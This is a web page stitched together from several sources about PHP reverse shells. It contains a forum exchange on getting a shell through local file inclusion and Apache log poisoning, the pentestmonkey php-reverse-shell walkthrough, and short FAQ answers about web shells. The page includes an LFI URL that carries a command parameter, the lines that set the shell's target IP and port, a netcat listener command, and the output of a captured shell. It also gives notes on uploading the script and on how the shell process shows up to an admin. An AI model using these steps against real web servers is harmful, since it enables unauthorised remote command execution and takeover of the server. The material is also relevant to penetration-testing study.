Php reverse shell in url

@nikkolai14

I had to search what was ngrok.

So ngrok makes a localhost port public, like localhost:3000->publicweb.ngrok.io, so at this point you have something like a public subdomain and a public ip that forwards the connections to your localhost.

So when you execute the php script, it runs on the server that hosts the file [localhost] and tries to connect to the desired ip.

If your ip is in the same network as the server, [or your routing table is configured to forward to another network] the server tries to make the connection serverip->yourcomputerip:8080

So the php is being executed in your server, not in another site. The file needs to be executed from the server that you want to conect to, so that the php in that system executes the bash command.

So if that other server [remote url] executes that php[ you upload the file and open the url] , you would need a public IP, because that server is on the internet and cannot find your physical ip. In this case you would need a public Ip.

I hope this helps. Ask me if there is something that you dont understand.
I'm writing this on my phone and is a bit difficult to structure the text.

I'm stuck trying to get a reverse shell to execute by calling it through a URL.

I have a vulnerable Windows machine, and I've uploaded a PHP reverse shell to it. I've also contaminated the Apache logs with:

So the PHP code, and the PHP reverse script are on the machine.

I can run Windows commands via the URL by running: //192.168.1.8/musiclist.php?name=frank&message=test123&revsh=ipconfig&volume=../../../../../../../usr/local/apache/logs/access.log%00

The above displays the access logs with the output of ipconfig embedded.

My PHP reverse works too. Since it's a test machine, I can navigate to it and click on it. When I do that my nc listener in kali gets a Windows shell. So the shell isn't the problem I don't think.

What I'm struggling with is executing the PHP script from the above URL. I would think I'd just have to replace 'ipconfig' with the path of the PHP script, or something similar. Some of the things I've tried include: revsh="//192.168.1.8/files/shell.php" [that's where the shell is located] revsh="php-cli //192.168.1.8/files/shell.php" revsh=../../../../../../files/shell.php

...and other variations.

Perhaps I'm not calling it correctly? Do I need to call a function in the PHP vs. the file itself? Am I not calling the file correctly?

This tool is designed for those situations during a pentest where you have upload access to a webserver that’s running PHP. Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser. The script will open an outbound TCP connection from the webserver to a host and port of your choice. Bound to this TCP connection will be a shell.

This will be a proper interactive shell in which you can run interective programs like telnet, ssh and su. It differs from web form-based shell which allow you to send a single command, then return you the output.

Download

php-reverse-shell-1.0.tar.gz

MD5sum:2bdf99cee7b302afdc45d1d51ac7e373

SHA1sum: 30a26d5b5e30d819679e0d1eb44e46814892a4ee

Video

I stumbled across this video someone made of php-reverse-shell.

Update 2011-11: Imax sent me a link to his tool fimap which uses php-reverse-shell. Looks cool.

Walk Through

Modify the source

To prevent someone else from abusing your backdoor – a nightmare scenario while pentesting – you need to modify the source code to indicate where you want the reverse shell thrown back to. Edit the following lines of php-reverse-shell.php:

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Get Ready to catch the reverse shell

Start a TCP listener on a host and port that will be accessible by the web server. Use the same port here as you specified in the script [1234 in this example]:

$ nc -v -n -l -p 1234

Upload and Run the script

Using whatever vulnerability you’ve discovered in the website, upload php-reverse-shell.php. Run the script simply by browsing to the newly uploaded file in your web browser [NB: You won’t see any output on the web page, it’ll just hang if successful]:

//somesite/php-reverse-shell.php

Enjoy your new shell

If all went well, the web server should have thrown back a shell to your netcat listener. Some useful commans such as w, uname -a, id and pwd are run automatically for you:

$ nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from [UNKNOWN] [127.0.0.1] 58012
Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86_64 AMD Athlon[tm] 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
 16:59:28 up 39 days, 19:54,  2 users,  load average: 0.18, 0.13, 0.10
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root   :0        19May07 ?xdm?   5:10m  0.01s /bin/sh
uid=81[apache] gid=81[apache] groups=81[apache]
sh: no job control in this shell
sh-3.2$

FAQs

When is this useful?

Perhaps the only areas on disk that you have write access to are mounted with the “noexec” option. Uploading a compiled program will be of no use in these situations. You need to use an installed scripting language like Python, PERL, PHP, etc.
Perhaps you just can’t be bothered to upload a second program.

Isn’t the shell connection just going to be severed when the web server times out the PHP script?

No. It doesn’t seem to on the systems that I’ve tested it on [Gentoo Linux only so far]. Additionally the PHP script attempts to daemonise itself and dissociate from the parent process to avoid this [though it rarely works in practise]. Your browser will appear to hang when you access the reverse shell. This is normal. It’s OK to hit cancel in your browser once you’ve got your shell.

Isn’t there going to be a rather suspicious looking shell process when the admin runs “ps”?

Yeah. This version of the reverse shell isn’t very subtle:

apache   28106  0.0  0.0  10428  1216 ?        S    17:15   0:00 sh -c uname -a; w; id; /bin/sh -i
apache   28110  0.0  0.0  10172  1428 ?        S    17:15   0:00 /bin/sh -i

Is this page available in Serbo-Croatian?

Yes. Thanks to Jovana Milutinovich for translating.

Caveats

Outbound firewalling [aka egress filtering] may prevent your reverse shell connection reaching you. Pick a port that’s allowed through Firewall. If there are none, you’ll have to make do with a form-based PHP shell.

This particular implementation of the reverse shell is unix-based. You’ll need to modify it before it will work on windows.

I’ve noticed a couple of zombie processes while testing this shell. It doesn’t always happen, but is probably to be expected since we’re not daemonising ourself properly.

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Web Shells

What is PHP reverse shell?

This tool is designed for those situations during a pentest where you have upload access to a webserver that's running PHP. Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser.

What is Webshell PHP?

A web shell is a small application that an attacker runs on your web server. They can then use this application to remotely access your server and run commands on it. A web shell by itself is never an attack, it is the aftermath of a successful attack on your website or web application.

Does PHP reverse shell work on Windows?

GitHub - ivan-sincek/php-reverse-shell: PHP shells that work on Linux OS, macOS, and Windows OS.

What can you do with reverse shell?

Reverse shells allow attackers to bypass network security mechanisms like firewalls. Attackers can achieve reverse shell capabilities via phishing emails or malicious websites. If the victim installs the malware on a local workstation, it initiates an outgoing connection to the attacker's command server.